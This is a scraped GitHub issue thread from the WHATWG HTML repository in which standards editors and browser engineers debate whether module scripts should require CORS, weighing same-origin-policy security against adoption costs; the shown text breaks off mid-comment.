whatwg / html

HTML Standard
https://html.spec.whatwg.org/multipage/
Other
8.18k stars 2.69k forks source link

is mandating CORS for modules the right tradeoff? #1888

Closed dherman closed 7 years ago

dherman commented 8 years ago

For the Mozilla implementation of <script type=module>, I have some concerns about the mandatory CORS requirement before we're ready to ship an implementation. I was hoping we could have a discussion here to see if we could get some clarity around the tradeoffs of this particular question.

As I see it, the risk of imposing a stricter CORS requirement for module scripts than for classic scripts is an adoption tax: it adds an extra burden for hosts serving modules to multiple origins. The obvious category is CDNs that aren't currently serving CORS headers, but there are also use cases like single-vendor apps with asset subdomains, and perhaps others we aren't thinking of.

While I'm sure some might think of that as a feature -- i.e., using modules to incentivize the adoption of CORS -- we have to contend with the multiplied adoption risks, and it's hard for me to really know how to evaluate that risk. (It'd be helpful to hear from multi-origin authors and hosts, BTW, to hear whether they think this kind of change is something they feel they can absorb, or whether mandatory CORS would cause them any roadblocks.)

Meanwhile, it's not clear to me what the precise rationale is. My assumption is that there's a security argument, but I'd like some clarity about what it is.

The first question is, is this attempting to migrate the web away from existing security issues, or is it attempting to prevent some new security issue? The former seems implausible to me; no matter how widespread the adoption of module scripts, you can't prevent malicious content from using classic scripts. IOW, closing any historical <script> gaps in the design of <script type=module> doesn't stop attackers from using <script>.

If the claim is that modules introduce some new issue, we should try to be clear about what that is. So far I haven't been able to puzzle out a threat model for which module scripts are meaningfully different from classic scripts:

The primary benefit of requiring no-preflight CORS seems to be the additional power to read cross-origin data (script source, stack traces). But that's not enough to justify the removal of the power to execute cross-origin module scripts without CORS.

If there is a threat model that no-preflight CORS is supposed to protect against with module scripts, I'd like to understand what it is. Even just an example exploit would be helpful. If we can understand the rationale, we can evaluate the tradeoffs.

cc: @domenic, @annevk, @jonco3

domenic commented 8 years ago

The web's fundamental security model is the same origin policy. We have several legacy exceptions to that rule from before that security model was in place, with script tags being one of the most egregious and most dangerous. (See the various "JSONP" attacks.)

Many years ago, perhaps with the introduction of XHR or web fonts (I can't recall precisely), we drew a line in the sand, and said no new web platform features would break the same origin policy. The existing features need to be grandfathered in and subject to carefully-honed and oft-exploited exceptions, for the sake of not breaking the web, but we certainly can't add any more holes to our security policy.

That's why, from our perspective, making module scripts bypass the CORS protocol (and thus the same-origin policy) is a non-starter. It's not about a specific attack scenario, apart from the ones already enabled by classic scripts; it's about making sure that new features added to the platform don't also suffer from the past's bad security hygiene.

bmaurer commented 8 years ago

At Facebook we started using CORS long ago due to the advantages of getting stack traces. I agree with the principle here that script tags are basically just a non-declared CORS. I would add two insights:

domenic commented 8 years ago

This seems like one of the first cases where somebody would have to add CORS headers to files on disk

Hmm, I don't understand this point very well. Web fonts require CORS. In many canvas-based scenarios (canvas being introduced around the same time as the line in the sand I mentioned earlier), images require CORS. Any static data files (e.g. .json) requested via fetch/XHR require CORS. HTML imports (RIP) required CORS. Etc.

internally at fb we serve your ~/public_html directory on an internal webserver. There's no ability for you to specify a server configuration of any sort. This seems like it could trip people up (though I guess in this case maybe you get by since everything is same origin)

Yeah, this is actually a perfect illustration of the issue. We want the SOP to protect you from reading and executing scripts from other peoples' public_html directories, but within your own, there's no issue at all.

Using crossorigin=anonymous has a distinct disadvantage that it forces many browsers (at least chrome) to prevent sharing of the socket with non-anonymous resources.

This is interesting, but seems fairly orthogonal to the current discussion. FWIW, the spec defaults to credentials mode "omit" (same as Fetch), with the option of using crossorigin=anonymous to get "same-origin", or crossorigin=use-credentials to get "include". If this is potentially problematic, it might be worth opening a separate issue.

hillbrad commented 8 years ago

The CORS requirement is also beneficial from an ecosystem perspective in that explicitly marking public content and requiring anonymous loads allows improvements in security and performance (like Subresource Integrity and content-addressable caching) that privacy concerns forbid without such explicit signals.

dherman commented 8 years ago

@domenic:

Many years ago, perhaps with the introduction of XHR or web fonts (I can't recall precisely), we drew a line in the sand, and said no new web platform features would break the same origin policy.

What constitutes "new web platform features" here? Did <script async> get standardized before or after this pledge? These aren't petty questions, they're exactly relevant: there are key empirical differences between a brand new capability like fonts versus an improved delta on an existing capability like module scripts.

These differences affect both the security calculus (can we actually close loopholes without changing/removing existing features?) and the adoption calculus (will people move from what they can currently do if the new thing reduces functionality?).

It's not about a specific attack scenario, apart from the ones already enabled by classic scripts; it's about making sure that new features added to the platform don't also suffer from the past's bad security hygiene.

OK, that's a start: IOW, your answer to my first question is that this is about closing existing loopholes.

But as I said, this doesn't actually close them since <script> still exists. Take your JSONP example. I think you're basically trying to use modules as a carrot to eliminate it from practical usage. I'm no JSONP apologist, but if we eliminate it from module scripts, people can keep on using classic scripts. We haven't actually prevented the practice. And now there are confusing rules about when to use classic scripts and when to use module scripts—and the easier thing to learn is "don't use module scripts."

Put differently: with security considerations, we generally try to avoid the devil we don't know. But in this case, because of the existence of classic scripts, the security issues are the devil we know. It's the adoption risks that are the devil we don't know. In fact, I doubt this would be up for debate with <script async>, so why is <script type=module> different? The answer isn't that we made a pledge years ago; it has to be a specific argument about whether and why there will be practical improvements to security in practice even though the existing features continue to exist, and whether the loss of functionality in the new thing will be tolerable.

domenic commented 8 years ago

Did <script async> get standardized before or after this pledge?

The async attribute has been present in some form (buggy or not) for many years; the spec was largely codifying what existed at the time.

But as I said, this doesn't actually close them since <script> still exists.

Yes, as I stated, this is not about preventing existing attacks. It's about making sure that new features added to the platform don't also suffer from the past's bad security hygiene.

In fact, I doubt this would be up for debate with <script async>

Precisely: if we were specifying script async today, it would fall clearly on the side of the line I mentioned, and we would require CORS for it.

dherman commented 8 years ago

Precisely: if we were specifying script async today, it would fall clearly on the side of the line I mentioned, and we would require CORS for it.

Really? I find this very surprising.

domenic commented 8 years ago

Yep, really!

Also, I forgot:

But in this case, because of the existence of classic scripts, the security issues are the devil we know.

That's not really correct. New attacks are discovered on classic scripts all the time. Remember when people thought JSONP was safe, instead of its modern reputation as a huge XSS bug farm? Remember the great cross-origin Proxy debacle of 2015, which required changes in HTML/Web IDL/ES to address by locking down the prototype chain of all the global objects? (And even that only protected against the gaping hole of proxies; it doesn't protect against targeted attacks using getters, to which the web is still vulnerable.) The fact is that breaking the SOP breaks the fundamental protection we have on the web, and we're constantly scrambling to put the genie back in the bottle given classic scripts' failure to obey it. That's why we're not going to be breaking it for any future features going forward.

dherman commented 8 years ago

Yep, really!

Well, obviously I disagree. :) All I can say is, I don't find the line of reasoning of "there's a pre-existing pledge" as compelling rationale for anything.

New attacks are discovered on classic scripts all the time. … That's why we're not going to be breaking it for any future features going forward.

You're not actually addressing my point, though. We can't actually close the loopholes without breaking web compat, because we can't break the web—as we all agree. So the loopholes exist, and now we're talking about standardizing a variation of the same feature. All I'm asking is that we engage with the practical adoption consequences, where the security consequences are already being dealt with and can't ever be eliminated.

We can stand on a predetermined black-and-white principle and ignore the empirical consequences, but… reality bites! :)

wanderview commented 8 years ago

@dherman How is this any different than restricting things like brotli to https when gzip can be used on http? Clearly the better compression would get adopted faster if it was on http, but we don't want to take the risk vector.

ekr commented 8 years ago

@dherman How is this any different than restricting things like brotli to https when gzip can be used on http? Clearly the better compression would get adopted faster if it was on http, but we don't want to take the risk vector.

Without taking a position on the bigger issue, this seems like kind of an odd example given the known security issues with combining compression with HTTPS.

Incidentally, what's the risk vector that you are concerned about with exposing Brotli to HTTP?

dherman commented 8 years ago

@wanderview I don't know as much about compression and network protocols, nor do I have an opinion about whether that was the right call. But off the top of my head I imagine it's possible to enable brotli compression automatically in server software, without developers needing to change anything about how they develop their code. What we're talking about here is mixing two different programming models, where the new one doesn't supersede the old one. Often when new programming models are introduced that bring a new benefit but eliminate an old one, it can cause years of stagnated adoption, or even fail outright.

kg commented 8 years ago

As a web application and tooling developer (i.e. JSIL) I find this constraint extremely troubling, though the motivations behind it are good.

The HTTPS requirements for new tech being applied by many browser vendors already impose some hurdles for amateur web developers and people maintaining old stacks, but at the very least this has dramatic upsides for users, so it's very easy to get behind it and direct force towards addressing ecosystem challenges that prevent every web service and server from supporting HTTPS.

I think the same is not true for CORS. CORS is nontrivial to configure, nontrivial to interact with, and most importantly, extremely inconvenient to test locally in development scenarios. Many people still locally host their applications using things like python's httpd module for testing, especially since file:// is crippled in Popular Browsers. A CORS requirement for modules potentially requires amateurs to set up a whole server environment and figure out CORS just to test simple module-based applications. In the past I've worked with development environments at larger companies (30m+ users) that would also incur a significant burden if we had attempted to adopt a technology like this and introduce CORS everywhere.

The web has moved forward so I'm sure it's easier now, but in the past when I attempted to use CORS (because I had to in order for my relatively simple application to work cross-browser) it was a struggle to find even one CDN with support, and it was difficult to get the configuration right so it would actually work. Testing CORS in local debugging scenarios was basically impossible.

It's also not clear how users in shared-hosting scenarios would (as @bmaurer points out) actually configure CORS in their use cases - it would require some sort of local configuration file (.htaccess etc) in order to provide appropriate CORS headers for each resource. It's possible some web servers are not capable of doing this so now we would actually need new server logic to go through development, testing, and package manager updates.

As much as I view modules as a sorely-needed ECMAScript improvement that addresses some things I've always disliked, this requirement seems likely to Python 3 them as a production feature if the ecosystem isn't ready yet. I think a lot of testing and research is required to ensure that the ecosystem is ready, and probably some aggressive tech evangelism to move things along.

Things like brotli and brand new web platform features are more incremental, optional improvements so it is more reasonable to gate them behind things like HTTPS. Modules are such a fundamental quality-of-life improvement - one that we really want everyone to move to as quickly as possible - that gating them seems ill-advised.

domenic commented 8 years ago

@kg, I don't see why this would require any server configuring for your use cases. Note that CORS headers are only required by sites which wish to expose their modules to third parties, not for your own modules or for local servers or anything like that.

kg commented 8 years ago

If I'm testing multiple-domain scenarios locally I'm going to need CORS headers, aren't I?

domenic commented 8 years ago

Yes, but that's already true for all existing resources (images in canvas, fetch, web fonts, XHR, etc) that aren't grandfathered in under the legacy tech loophole.

yoavweiss commented 8 years ago

@dherman How is this any different than restricting things like brotli to https when gzip can be used on http? Clearly the better compression would get adopted faster if it was on http, but we don't want to take the risk vector.

@wanderview - Limiting brotli to HTTPS was (at least partially) based on the fact that deploying it over HTTP would mean existing intermediaries will break it in passing. Not really security related AFAIK.

wanderview commented 8 years ago

Ok, sorry for my confusion. It seemed similar to me, but clearly I'm out of my depth. :-)

domenic commented 7 years ago

Let's close this. All the arguments have been made and given their fair shake, and in the end the one reason given for relaxing the security properties of the same-origin policy ("adoption hazard" compared with classic scripts) does not suffice to convince the editors.

Furthermore, there is the question of implementations. For Chrome's part, we are unwilling to ship modules if doing so introduces another cross-origin security hole. And the prototype implementations in WebKit and Edge conform to the security guarantees in the current spec. That puts us at 3/4 in favor of the current spec.

We can perhaps revisit this question with more data later. If it turns out that, after some years in the wild, module adoption is suffering because people are unable to add CORS headers to modules they want to use cross-origin, we can consider relaxing the constraint here, with appropriate security ameliorations (e.g. blocking stack traces and perhaps function.toString). But we cannot regain security after we have given it away. And note that at least one potential large adopter of modules, Facebook, has stated the opposite in preference (toward the current spec) in https://github.com/whatwg/html/issues/1888#issuecomment-253011496.

Thanks everyone for the discussion. In the end, after all arguments have been laid out, we need to make a decision, and given the conflicting priorities here of security vs. adoption, I realize not everyone is going to be happy. I hope you can understand why we've made the choice we did.

BrendanEich commented 7 years ago

Same-origin was buggy and underspecified (and still is), but this is just revisionism:

"The web's fundamental security model is the same origin policy. We have several legacy exceptions to that rule from before that security model was in place, with script tags being one of the most egregious and most dangerous."

I implemented primitive SOP at Netscape starting in Netscape 2 in 1995. Origins could interact via frames and windows even before <script src=> (e.g., window.open -- lots of bugs in early days). <script src=> did not show up till 1996, in Netscape 3, which had slightly less buggy SOP and an optional alternative (the data tainting model). That we have had bugs to fix up to and including 2015's proxy-as-global-prototype is not a recommendation for mandating CORS for modules, since we'll have to keep supporting non-module scripts, and fixing the never-perfect-now-or-in-the-past SOP, anyway.

From this issue I conclude script src=module will not be adopted as well as it would otherwise, and we'll have 3rd party scripts approximately forever.

annevk commented 7 years ago

A new attack surface is that module scripts parse differently which could lead to details of module scripts (or things that look like them) being observed by an attacker (e.g., through a service worker).

So we then have the option of enshrining this new leak, designing workarounds (e.g., bypassing service workers unless CORS is used), or starting with the safe thing. The safe thing is most conservative and would still allow us for lifting that in some way going forward, just like you can typically move from throwing an exception to not doing that.

BrendanEich commented 7 years ago

@annevk Could you give an example? Yes, modules parse differently. No, this doesn't create any more "attack surface" than today. Modules do not pollute the global scope, so there's less surface to first order. Side channels are all around us and don't weigh one way or the other.

Imagine we try to get rid of non-module scripts. We add some CSP directive by which authors can require CORS for script src=. Same would apply to script type=module src=. In the mean time, the use of modules grew better without this CORS security theater, which is a real tax on adoption.

To believe security would be worse without CORS, you have to believe it's worse now for all the third party scripts out there, and that we can lead people to adopt both modules and CORS for their future third-party code sharing.

Don't get me started on third-party script security (I founded Brave to block the parasitic third party by default). Security is bad enough, we know, but compare apples to apples. The comparison is not between better security by using modules as carrot for the CORS stick. It's rather between today's no-module world and one that we can evolve to that might have more modules and more CORS.

It's rare in my experience to see effort in ad-tech to switch to CORS for third party scripts (video is where you see CORS more, via SDKs, due to VAST; it's very rare in display). Don't ask Facebook, they are a giant intranet. Ask Google's publisher and ad partners. Let's see CORS mandated and then talk.

So I still say all y'all are doing is entrenching script src= without modules. Hypotheticals about security do not count.

But do give a concrete attack that non-CORS type=module introduces, if you can. Be explicit, no hand-waves that apply to non-module scripts as much or more. SWs can see all requests, so the "leak" would apply in either the type=module or old-style script src= case. Nested imports or generated script tags or XHRed code loads or whatever, doesn't matter -- SWs see all.

annevk commented 7 years ago

E.g., a resource (from which the attacker knows/guesses the URL somehow, but cannot get at the contents (cookies, firewall)) import * as filters from "secret-key" would leak "secret-key" with <script type=module>, but not with <script>.

BrendanEich commented 7 years ago

@annevk: you wrote "but not with Githubissues.

  • Githubissues is a development platform for aggregating issues.